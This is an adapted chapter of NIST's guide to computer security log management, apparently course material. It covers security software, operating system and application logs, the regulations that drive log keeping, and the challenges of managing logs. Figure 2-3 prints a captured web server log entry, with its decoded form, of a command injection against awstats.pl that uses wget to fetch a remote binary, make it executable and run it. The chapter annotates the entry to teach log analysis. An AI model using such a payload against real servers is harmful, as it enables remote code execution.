Guide to Computer Security Log Management by Karen Kent and Murugiah Souppaya comprises public domain material from the National Institute of Standards and Technology, U.S. Department of Commerce. UMGC has modified this work.

2. Introduction to Computer Security Log Management

A *log* is a record of the events occurring within an organization's systems and networks. Logs are composed of log entries; each *entry* contains information related to a specific *event* that has occurred within a system or network. Originally, logs were used primarily for troubleshooting problems, but logs now serve many functions within most organizations, such as optimizing system and network performance, recording the actions of users, and providing data useful for investigating malicious activity. Logs have evolved to contain information related to many different types of events occurring within networks and systems. Within an organization, many logs contain records related to computer security; common examples of these computer security logs are audit logs that track user authentication attempts and security device logs that record possible attacks. This guide addresses only those logs that typically contain computer security-related information.[1]

Because of the widespread deployment of networked servers, workstations, and other computing devices, and the ever-increasing number of threats against networks and systems, the number, volume, and variety of computer security logs has increased greatly. This has created the need for *computer security log management*, which is the process for generating, transmitting, storing, analyzing, and disposing of computer security log data. This section of the document discusses the needs and challenges in computer security log management. Section 2.1 explains the basics of computer security logs. Section 2.2 discusses the laws, regulations, and operational needs involved with log management. Section 2.3 explains the most common log management challenges, and Section 2.4 offers high-level recommendations for meeting them.

2.1 The Basics of Computer Security Logs

Logs can contain a wide variety of information on the events occurring within systems and networks.[2] This section describes the following categories of logs of particular interest:

- Security software logs primarily contain computer security-related information. Section 2.1.1 describes them.
- Operating system logs (described in Section 2.1.2) and application logs (described in Section 2.1.3) typically contain a variety of information, including computer security-related data.

Under different sets of circumstances, many logs created within an organization could have some relevance to computer security. For example, logs from network devices such as switches and wireless access points, and from programs such as network monitoring software, might record data that could be of use in computer security or other information technology (IT) initiatives, such as operations and audits, as well as in demonstrating compliance with regulations. However, for computer security these logs are generally used on an as-needed basis as supplementary sources of information. This document focuses on the types of logs that are most often deemed to be important by organizations in terms of computer security. Organizations should consider the value of each potential source of computer security log data when designing and implementing a log management infrastructure.

Most of the sources of the log entries run continuously, so they generate entries on an ongoing basis. However, some sources run periodically, so they generate entries in batches, often at regular intervals.

---

[1] For the remainder of this document, the terms "log" and "computer security log" are interchangeable, except where otherwise noted.

[2] If the logs contain personally identifiable information—information that could be used to identify individuals, such as social security numbers—the organization should ensure that the privacy of the log information is properly protected. The people responsible for privacy for an organization should be consulted as part of log management planning.

This section notes any log sources that work in batch mode because this can have a significant impact on the usefulness of their logs for incident response and other time-sensitive efforts.

2.1.1 Security Software

Most organizations use several types of network-based and host-based security software to detect malicious activity, protect systems and data, and support incident response efforts. Accordingly, security software is a major source of computer security log data. Common types of network-based and host-based security software include the following:

- **Antimalware Software.** The most common form of antimalware software is antivirus software, which typically records all instances of detected malware, file and system disinfection attempts, and file quarantines.[3] Additionally, antivirus software might also record when malware scans were performed and when antivirus signature or software updates occurred. Antispyware software and other types of antimalware software (e.g., rootkit detectors) are also common sources of security information.

- **Intrusion Detection and Intrusion Prevention Systems.** Intrusion detection and intrusion prevention systems record detailed information on suspicious behavior and detected attacks, as well as any actions intrusion prevention systems performed to stop malicious activity in progress. Some intrusion detection systems, such as file integrity checking software, run periodically instead of continuously, so they generate log entries in batches instead of on an ongoing basis.[4]

- **Remote Access Software.** Remote access is often granted and secured through virtual private networking (VPN). VPN systems typically log successful and failed login attempts, as well as the dates and times each user connected and disconnected, and the amount of data sent and received in each user session. VPN systems that support granular access control, such as many Secure Sockets Layer (SSL) VPNs, may log detailed information about the use of resources.

- **Web Proxies.** Web proxies are intermediate hosts through which Web sites are accessed. Web proxies make Web page requests on behalf of users, and they cache copies of retrieved Web pages to make additional accesses to those pages more efficient. Web proxies can also be used to restrict Web access and to add a layer of protection between Web clients and Web servers. Web proxies often keep a record of all URLs accessed through them.

- **Vulnerability Management Software.** Vulnerability management software, which includes patch management software and vulnerability assessment software, typically logs the patch installation history and vulnerability status of each host, which includes known vulnerabilities and missing software updates.[5] Vulnerability management software may also record additional information about hosts' configurations. Vulnerability management software typically runs occasionally, not continuously, and is likely to generate large batches of log entries.

- **Authentication Servers.** Authentication servers, including directory servers and single sign-on servers, typically log each authentication attempt, including its origin, username, success or failure, and date and time.

---

[3] See NIST SP 800-83, *Guide to Malware Incident Prevention and Handling*, for more information on antivirus software. The publication is available at http://csrc.nist.gov/publications/nistpubs/.

[4] For more information on intrusion detection systems, see NIST SP 800-94 (DRAFT), *Guide to Intrusion Detection and Prevention Systems*, which is available at http://csrc.nist.gov/publications/nistpubs/.

[5] NIST SP 800-40 version 2, *Creating a Patch and Vulnerability Management Program*, contains guidance on vulnerability management software. SP 800-40 version 2 can be downloaded from http://csrc.nist.gov/publications/nistpubs/.

- **Routers.** Routers may be configured to permit or block certain types of network traffic based on a policy. Routers that block traffic are usually configured to log only the most basic characteristics of blocked activity.
- **Firewalls.** Like routers, firewalls permit or block activity based on a policy; however, firewalls use much more sophisticated methods to examine network traffic.[6] Firewalls can also track the state of network traffic and perform content inspection. Firewalls tend to have more complex policies and generate more detailed logs of activity than routers.
- **Network Quarantine Servers.** Some organizations check each remote host's security posture before allowing it to join the network. This is often done through a network quarantine server and agents placed on each host. Hosts that do not respond to the server's checks or that fail the checks are quarantined on a separate virtual local area network (VLAN) segment. Network quarantine servers log information about the status of checks, including which hosts were quarantined and for what reasons.

Figure 2-1 contains several examples of security software log entries.[7]

Intrusion Detection System

```
[**] [1:1407:9] SNMP trap udp [**]
[Classification: Attempted Information Leak] [Priority: 2]
03/06-8:14:09.082119 192.168.1.167:1052 -> 172.30.128.27:162
UDP TTL:118 TOS:0x0 ID:29101 IpLen:20 DgmLen:87
```

Personal Firewall

```
3/6/2006 8:14:07 AM,"Rule ""Block Windows File Sharing"" blocked (192.168.1.54,
netbios-ssn(139))."","Rule ""Block Windows File Sharing"" blocked (192.168.1.54,
netbios-ssn(139)).  Inbound TCP connection.  Local address,service is
(KENT(172.30.128.27),netbios-ssn(139)).  Remote address,service is
(192.168.1.54,39922).  Process name is ""System""."
```

```
3/3/2006 9:04:04 AM,Firewall configuration updated: 398 rules.,Firewall configuration
updated: 398 rules.
```

Antivirus Software, Log 1

```
3/4/2006 9:33:50 AM,Definition File Download,KENT,userk,Definition downloader
3/4/2006 9:33:09 AM,AntiVirus Startup,KENT,userk,System
3/3/2006 3:56:46 PM,AntiVirus Shutdown,KENT,userk,System
```

Antivirus Software, Log 2

```
240203071234,16,3,7,KENT,userk,,,,,,,16777216,"Virus definitions are
current.",0,,0,,,,,0,,,,,,,,,,SAVPROD,{ xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx },End
User,(IP)-192.168.1.121,,GROUP,0:0:0:0:0:0,9.0.0.338,,,,,,,,,,,,,,
```

Antispyware Software

```
DSO Exploit: Data source object exploit (Registry change, nothing done)  HKEY_USERS\S-
1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1004!=W=3
```

Figure 2-1. Security Software Log Entry Examples

[6] More information on firewalls is available from NIST Special Publication (SP) 800-41, *Guidelines on Firewalls and Firewall Policy*, which is available for download at http://csrc.nist.gov/publications/nistpubs/.

[7] Portions of the log examples in this publication have been sanitized to remove Internet Protocol (IP) addresses and other identifying information.

2.1.2 Operating Systems

Operating systems (OS) for servers, workstations, and networking devices (e.g., routers, switches) usually log a variety of information related to security. The most common types of security-related OS data are as follows:

- **System Events.** System events are operational actions performed by OS components, such as shutting down the system or starting a service. Typically, failed events and the most significant successful events are logged, but many OSs permit administrators to specify which types of events will be logged. The details logged for each event also vary widely; each event is usually timestamped, and other supporting information could include event, status, and error codes; service name; and user or system account associated with an event.
- **Audit Records.** Audit records contain security event information such as successful and failed authentication attempts, file accesses, security policy changes, account changes (e.g., account creation and deletion, account privilege assignment), and use of privileges. OSs typically permit system administrators to specify which types of events should be audited and whether successful and/or failed attempts to perform certain actions should be logged.

OS logs might also contain information from security software and other applications running on the system. Section 2.1.3 provides more information on application log data.

OS logs are most beneficial for identifying or investigating suspicious activity involving a particular host. After suspicious activity is identified by security software, OS logs are often consulted to get more information on the activity. For example, a network security device might detect an attack against a particular host; that host's OS logs might indicate if a user was logged into the host at the time of the attack and if the attack was successful. Many OS logs are created in syslog format; Section 3.3 discusses syslog in detail and provides examples of syslog log entries. Other OS logs, such as those on Windows systems, are stored in proprietary formats. Figure 2-2 gives an example of log data exported from a Windows security log.

```
Event Type:  Success Audit
Event Source:Security
Event Category:     (1)
Event ID:    517
Date:        3/6/2006
Time:        2:56:40 PM
User:        NT AUTHORITY\SYSTEM
Computer:    KENT
Description:
The audit log was cleared
Primary User Name: SYSTEM      Primary Domain: NT AUTHORITY
Primary Logon ID: (0x0,0x3F7)  Client User Name: userk
Client Domain: KENT            Client Logon ID: (0x0,0x28BFD)
```

Figure 2-2. Operating System Log Entry Example

2.1.3 Applications

Operating systems and security software provide the foundation and protection for applications, which are used to store, access, and manipulate the data used for the organization's business processes. Most organizations rely on a variety of commercial off-the-shelf (COTS) applications, such as e-mail servers and clients, Web servers and browsers, file servers and file sharing clients, and database servers and clients. Many organizations also use various COTS or government off-the-shelf (GOTS) business

applications such as supply chain management, financial management, procurement systems, enterprise resource planning, and customer relationship management. In addition to COTS and GOTS software, most organizations also use custom-developed applications tailored to their specific requirements.[8]

Some applications generate their own log files, while others use the logging capabilities of the OS on which they are installed. Applications vary significantly in the types of information that they log. The following lists some of the most commonly logged types of information and the potential benefits of each:[9]

- **Client requests and server responses**, which can be very helpful in reconstructing sequences of events and determining their apparent outcome. If the application logs successful user authentications, it is usually possible to determine which user made each request. Some applications can perform highly detailed logging, such as e-mail servers recording the sender, recipients, subject name, and attachment names for each e-mail; Web servers recording each URL requested and the type of response provided by the server; and business applications recording which financial records were accessed by each user. This information can be used to identify or investigate incidents and to monitor application usage for compliance and auditing purposes.
- **Account information** such as successful and failed authentication attempts, account changes (e.g., account creation and deletion, account privilege assignment), and use of privileges. In addition to identifying security events such as brute force password guessing and escalation of privileges, it can be used to identify who has used the application and when each person has used it.
- **Usage information** such as the number of transactions occurring in a certain period (e.g., minute, hour) and the size of transactions (e.g., e-mail message size, file transfer size). This can be useful for certain types of security monitoring (e.g., a ten-fold increase in e-mail activity might indicate a new e-mail–borne malware threat; an unusually large outbound e-mail message might indicate inappropriate release of information).
- **Significant operational actions** such as application startup and shutdown, application failures, and major application configuration changes. This can be used to identify security compromises and operational failures.

Much of this information, particularly for applications that are not used through unencrypted network communications, can only be logged by the applications, which makes application logs particularly valuable for application-related security incidents, auditing, and compliance efforts. However, these logs are often in proprietary formats that make them more difficult to use, and the data they contain is often highly context-dependent, necessitating more resources to review their contents.

Figure 2-3 contains a sample log entry from a Web server log, along with an explanation of the information recorded in the entry.

---

[8] A single implementation of an application could also be used by multiple organizations. For example, a parent organization could host an application that its member agencies all use. The logs for the agencies' use of the application would most likely be managed by the parent organization, but each individual agency might also have the ability to review the log information for its own users.

[9] An organization should consider having a policy that defines the logging requirements for custom applications developed for it. Such a policy helps to ensure that applications will log the information necessary to support the security of the application and the auditing of its use.

```
172.30.128.27 - - [14/Oct/2005:05:41:18 -0500] "GET /awstats/awstats.pl?config
dir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20192%2e168%2e1%2e214%2fnikons%3bchmod%20%2bx%
20nikons%3b%2e%2fnikons;echo%20YYY;echo|  HTTP/1.1" 302 494
```

`172.30.128.27`
: IP address of the host that initiated the request

`-`
: Indicates that the information was not available (this server is not configured to put any information in the second field)

`-`
: User ID supplied for HTTP authentication; in this case, no authentication was performed

`[14/Oct/2005:05:41:18 -0500]`
: Date and time that the Web server completed handling the request

`GET`
: HTTP method

`/awstats/awstats.pl`
: URL in the request

`config dir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20192%2e168%2e1%2e214%2fnikons%3bchmod%20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;echo|`
: Argument for the request. Each % followed by two hexadecimal characters is a hex encoding of an ASCII character. For example, hex 20 is equivalent to decimal 32, and ASCII character 32 is a space; therefore, %20 is equivalent to a space. The ASCII equivalent of the log entry above is shown below.[10]

```
config dir=|echo;echo YYY;cd /tmp;wget 192.168.1.214/nikons;chmod +x nikons;/.nikons;
echo YYY;echo|
```

`HTTP/1.1`
: Protocol and protocol version used to make the request

`302`
: Status code for the response; in the HTTP protocol standards, code 302 corresponds to "found"

`494`
: Size of the response in bytes

Figure 2-3. Web Server Log Entry Examples

2.1.4 Usefulness of Logs

The categories of logs described in Sections 2.1.1 through 2.1.3 typically contain different types of information. Accordingly, some logs are generally more likely than others to record information that would be helpful for different situations, such as detecting attacks, fraud, and inappropriate usage. For

[10] This log entry shows malicious activity. The attack is attempting to transfer a file called "nikons" from the host at IP address 192.168.1.214 to the Web server, set the file to be executable, then run it, most likely with the privileges of the Web server.

each type of situation, certain logs are typically the most likely to contain detailed information on the activity in question. Other logs typically contain less detailed information, and are often only helpful for correlating events recorded in the primary log types. For example, an intrusion detection system could record malicious commands issued to a server from an external host; this would be a primary source of attack information. An incident handler could then review a firewall log to look for other connection attempts from the same source IP address; this would be a secondary source of attack information.

Administrators using logs should also be mindful of the trustworthiness of each log source. Log sources that are not properly secured, including insecure transport mechanisms, are more susceptible to log configuration changes and log alteration. Of course, administrators should be particularly cautious about the accuracy of logs from hosts that have been attacked successfully; it is usually prudent to examine other logs as well.

2.2 The Need for Log Management

Log management can benefit an organization in many ways. It helps to ensure that computer security records are stored in sufficient detail for an appropriate period of time. Routine log reviews and analysis are beneficial for identifying security incidents, policy violations, fraudulent activity, and operational problems shortly after they have occurred, and for providing information useful for resolving such problems. Logs can also be useful for performing auditing and forensic analysis, supporting the organization's internal investigations, establishing baselines, and identifying operational trends and long-term problems.

Besides the inherent benefits of log management, a number of laws and regulations further compel organizations to store and review certain logs. The following is a listing of key regulations, standards, and guidelines that help define organizations' needs for log management:

- **Federal Information Security Management Act of 2002 (FISMA).** FISMA emphasizes the need for each Federal agency to develop, document, and implement an organization-wide program to provide information security for the information systems that support its operations and assets. NIST SP 800-53, *Recommended Security Controls for Federal Information Systems*, was developed in support of FISMA.[11] NIST SP 800-53 is the primary source of recommended security controls for Federal agencies. It describes several controls related to log management, including the generation, review, protection, and retention of audit records, as well as the actions to be taken because of audit failure.

- **Gramm-Leach-Bliley Act (GLBA).**[12] GLBA requires financial institutions to protect their customers' information against security threats. Log management can be helpful in identifying possible security violations and resolving them effectively.

- **Health Insurance Portability and Accountability Act of 1996 (HIPAA).** HIPAA includes security standards for certain health information. NIST SP 800-66, *An Introductory Resource Guide for Implementing the Health Insurance Portability and Accountability Act (HIPAA) Security Rule*, lists HIPAA-related log management needs.[13] For example, Section 4.1 of NIST SP 800-66 describes the need to perform regular reviews of audit logs and access reports. Also,

[11] Copies of FISMA and NIST SP 800-53 are available at http://csrc.nist.gov/sec-cert/ca-library.html.

[12] More information on GLBA is available at http://www.ftc.gov/privacy/privacyinitiatives/glbact.html. A copy of GLBA can be downloaded from http://www.ftc.gov/privacy/privacyinitiatives/financial_rule_lr.html.

[13] HIPAA is available for download from http://www.hhs.gov/ocr/hipaa/. NIST SP 800-66 is located at http://csrc.nist.gov/publications/nistpubs/.

Section 4.22 specifies that documentation of actions and activities need to be retained for at least six years.

- **Sarbanes-Oxley Act (SOX) of 2002.**[14] Although SOX applies primarily to financial and accounting practices, it also encompasses the information technology (IT) functions that support these practices. SOX can be supported by reviewing logs regularly to look for signs of security violations, including exploitation, as well as retaining logs and records of log reviews for future review by auditors.

- **Payment Card Industry Data Security Standard (PCI DSS).** PCI DSS applies to organizations that "store, process or transmit cardholder data" for credit cards. One of the requirements of PCI DSS is to "track…all access to network resources and cardholder data".[15]

2.3 The Challenges in Log Management

Most organizations face similar log management-related challenges, which have the same underlying problem: effectively balancing a limited amount of log management resources with an ever-increasing supply of log data. This section discusses the most common types of challenges, divided into three groups. First, there are several potential problems with the initial generation of logs because of their variety and prevalence. Second, the confidentiality, integrity, and availability of generated logs could be breached inadvertently or intentionally. Finally, the people responsible for performing log analysis are often inadequately prepared and supported. Sections 2.3.1 through 2.3.3 discuss each of these three categories of log challenges.

2.3.1 Log Generation and Storage

In a typical organization, many hosts' OSs, security software, and other applications generate and store logs. This complicates log management in the following ways:

- **Many Log Sources.** Logs are located on many hosts throughout the organization, necessitating log management to be performed throughout the organization. Also, a single log source can generate multiple logs—for example, an application storing authentication attempts in one log and network activity in another log.

- **Inconsistent Log Content.** Each log source records certain pieces of information in its log entries, such as host IP addresses and usernames. For efficiency, log sources often record only the pieces of information that they consider most important. This can make it difficult to link events recorded by different log sources because they may not have any common values recorded (e.g., source 1 records the source IP address but not the username, and source 2 records the username but not the source IP address). Each type of log source may also represent values differently; these differences may be slight, such as one date being in MMDDYYYY format and another being in MM-DD-YYYY format, or they may be much more complex, such as use of the File Transfer Protocol (FTP) being identified by name in one log ("FTP") and by port number in another log (21). This further complicates the process of linking events recorded by different log sources.[16]

---

[14] More information on SOX, and a copy of SOX itself, can be found at http://www.sec.gov/about/laws.shtml.

[15] This information is from the PCI DSS, which is available at http://usa.visa.com/download/business/accepting_visa/ops_risk_management/cisp_PCI_Data_Security_Standard.pdf.

[16] There are some standards for log content, such as Web server logs. However, for most log sources there are no logging standards available. One current standards effort is the Intrusion Detection Message Exchange Format (IDMEF); the latest Internet-Draft for IDMEF is available at http://www.ietf.org/internet-drafts/draft-ietf-idwg-idmef-xml-16.txt.

- **Inconsistent Timestamps.** Each host that generates logs typically references its internal clock when setting a timestamp for each log entry. If a host's clock is inaccurate, the timestamps in its logs will also be inaccurate. This can make analysis of logs more difficult, particularly when logs from multiple hosts are being analyzed. For example, timestamps might indicate that event A happened 45 seconds before event B, when event A actually happened two minutes after event B.
- **Inconsistent Log Formats.**[17] Many of the log source types use different formats for their logs, such as comma-separated or tab-separated text files,[18] databases, syslog, Simple Network Management Protocol (SNMP), Extensible Markup Language (XML), and binary files.[19] Some logs are designed for humans to read, while others are not; some logs use standard formats, while others use proprietary formats. Some logs are created not for local storage in a file, but for transmission to another system for processing; a common example of this is SNMP traps. For some output formats, particularly text files, there are many possibilities for the sequence of the values in each log entry and the delimiters between the values (e.g., comma-separated values, tab-delimited values, XML).

To facilitate analysis of logs, organizations often need to implement automated methods of converting logs with different content and formats to a single standard format with consistent data field representations. Inconsistent log formats and data field representations also present challenges to people reviewing logs, who need to understand the meaning of various data fields in each log to perform a thorough review.

Because most hosts within an organization typically log some computer security-related information, often with multiple logs per host, the number of logs within an organization can be quite high. Many logs record large volumes of data on a daily basis, so the total daily volume of log data within an organization is often overwhelming. This impacts the resources needed to store the data for the appropriate length of time, as described in Section 2.3.2, and to perform reviews of the data, as described in Section 2.3.3. The distributed nature of logs, inconsistent log formats, and volume of logs all make the management of log generation and storage challenging.

2.3.2 Log Protection

Because logs contain records of system and network security, they need to be protected from breaches of their confidentiality and integrity. For example, logs might intentionally or inadvertently capture sensitive information such as users' passwords and the content of e-mails. This raises security and privacy concerns involving both the individuals that review the logs and others that might be able to access the logs through authorized or unauthorized means. Logs that are secured improperly in storage or in transit might also be susceptible to intentional and unintentional alteration and destruction. This could cause a variety of impacts, including allowing malicious activities to go unnoticed and manipulating evidence to conceal the identity of a malicious party. For example, many rootkits are specifically designed to alter logs to remove any evidence of the rootkits' installation or execution.

Organizations also need to protect the availability of their logs. Many logs have a maximum size, such as storing the 10,000 most recent events, or keeping 100 megabytes of log data. When the size limit is reached, the log might overwrite old data with new data or stop logging altogether, both of which would

[17] There is no consensus in the security community as to the standard terms to be used to describe the composition of log entries and files. For the purposes of this publication, the terms "log content" and "log format" have been defined and used, but other publications may use different terms or different definitions for these terms.

[18] It is not always safe to assume that a text file log will only contain text. For example, as part of an attack, an attacker might provide binary data as input to a program that is expecting text data. If the program records this input into its log, then the log is no longer strictly a text file. This could cause log management utilities to fail or mishandle the log data.

[19] Binary files often use proprietary formats that are software-specific (e.g., event logs on Windows systems).

cause a loss of log data availability. To meet data retention requirements, organizations might need to keep copies of log files for a longer period of time than the original log sources can support, which necessitates establishing log archival processes. Because of the volume of logs, it might be appropriate in some cases to reduce the logs by filtering out log entries that do not need to be archived. The confidentiality and integrity of the archived logs also need to be protected.

2.3.3 Log Analysis

Within most organizations, network and system administrators have traditionally been responsible for performing log analysis—studying log entries to identify events of interest. It has often been treated as a low-priority task by administrators and management because other duties of administrators, such as handling operational problems and resolving security vulnerabilities, necessitate rapid responses. Administrators who are responsible for performing log analysis often receive no training on doing it efficiently and effectively, particularly on prioritization. Also, administrators often do not receive tools that are effective at automating much of the analysis process, such as scripts and security software tools (e.g., host-based intrusion detection products, security information and event management software). Many of these tools are particularly helpful in finding patterns that humans cannot easily see, such as correlating entries from multiple logs that relate to the same event. Another problem is that many administrators consider log analysis to be boring and to provide little benefit for the amount of time required. Log analysis is often treated as reactive—something to be done after a problem has been identified through other means—rather than proactive, to identify ongoing activity and look for signs of impending problems. Traditionally, most logs have not been analyzed in a real-time or near-real-time manner. Without sound processes for analyzing logs, the value of the logs is significantly reduced.

2.4 Meeting the Challenges

Despite the many challenges an organization faces in log management, there are a few key practices an organization can follow to avoid and even solve many of these obstacles it confronts. The following four measures give a brief explanation of these solutions:

- **Prioritize log management appropriately throughout the organization.** An organization should define its requirements and goals for performing logging and monitoring logs to include applicable laws, regulations, and existing organizational policies. The organization can then prioritize its goals based on balancing the organization's reduction of risk with the time and resources needed to perform log management functions.
- **Establish policies and procedures for log management.** Policies and procedures are beneficial because they ensure a consistent approach throughout the organization as well as ensuring that laws and regulatory requirements are being met. Periodic audits are one way to confirm that logging standards and guidelines are being followed throughout the organization. Testing and validation can further ensure that the policies and procedures in the log management process are being performed properly.
- **Create and maintain a secure log management infrastructure.** It is very helpful for an organization to create components of a log management infrastructure and determine how these components interact. This aids in preserving the integrity of log data from accidental or intentional modification or deletion, and also in maintaining the confidentiality of log data. It is also critical to create an infrastructure robust enough to handle not only expected volumes of log data, but also peak volumes during extreme situations (e.g., widespread malware incident, penetration testing, vulnerability scans).

- **Provide adequate support for all staff with log management responsibilities.** While defining the log management scheme, organizations should ensure that they provide the necessary training to relevant staff regarding their log management responsibilities as well as skill instruction for the needed resources to support log management. Support also includes providing log management tools and tool documentation, providing technical guidance on log management activities, and disseminating information to log management staff.

2.5 Summary

Many logs within an organization contain records related to computer security events occurring within systems and networks. For example, most organizations use several types of security software, such as antivirus software, firewalls, and intrusion prevention systems, to detect malicious activity and protect systems and data from damage. Security software is usually the primary source of computer security logs. OSs for servers, workstations, and networking equipment usually log a variety of information related to security, such as system events and audit records. Another common type of log generator is applications, which may send information to OS logs or application-specific logs.

The number, volume, and variety of computer security logs has increased greatly, which has created the need for computer security log management—the process for generating, transmitting, storing, analyzing, and disposing of computer security log data. Log management helps to ensure that computer security records are stored in sufficient detail for an appropriate period of time. Routine log analysis is beneficial for identifying security incidents, policy violations, fraudulent activity, and operational problems. Logs are also useful for establishing baselines, performing auditing and forensic analysis, supporting internal investigations, and identifying operational trends and long-term problems. Organizations may also store and analyze certain logs for compliance with FISMA, HIPAA, GLBA, SOX, and other key regulations, guidelines, and standards.

The fundamental problem with log management is balancing a limited amount of log management resources with a continuous supply of log data. Log generation and storage is complicated mainly by a high number of log sources, inconsistent log formats among sources, and a large volume of log data on a daily basis. Log management also involves protecting logs from breaches of their confidentiality and integrity, as well as supporting their availability. Another problem with log management is having network and system administrators perform regular, efficient, and effective analysis of log data. Key practices recommended to meet the main challenges in log management are as follows:

- Prioritize log management appropriately throughout the organization
- Establish policies and procedures for log management
- Create and maintain a secure log management infrastructure
- Provide proper training for all staff with log management responsibilities.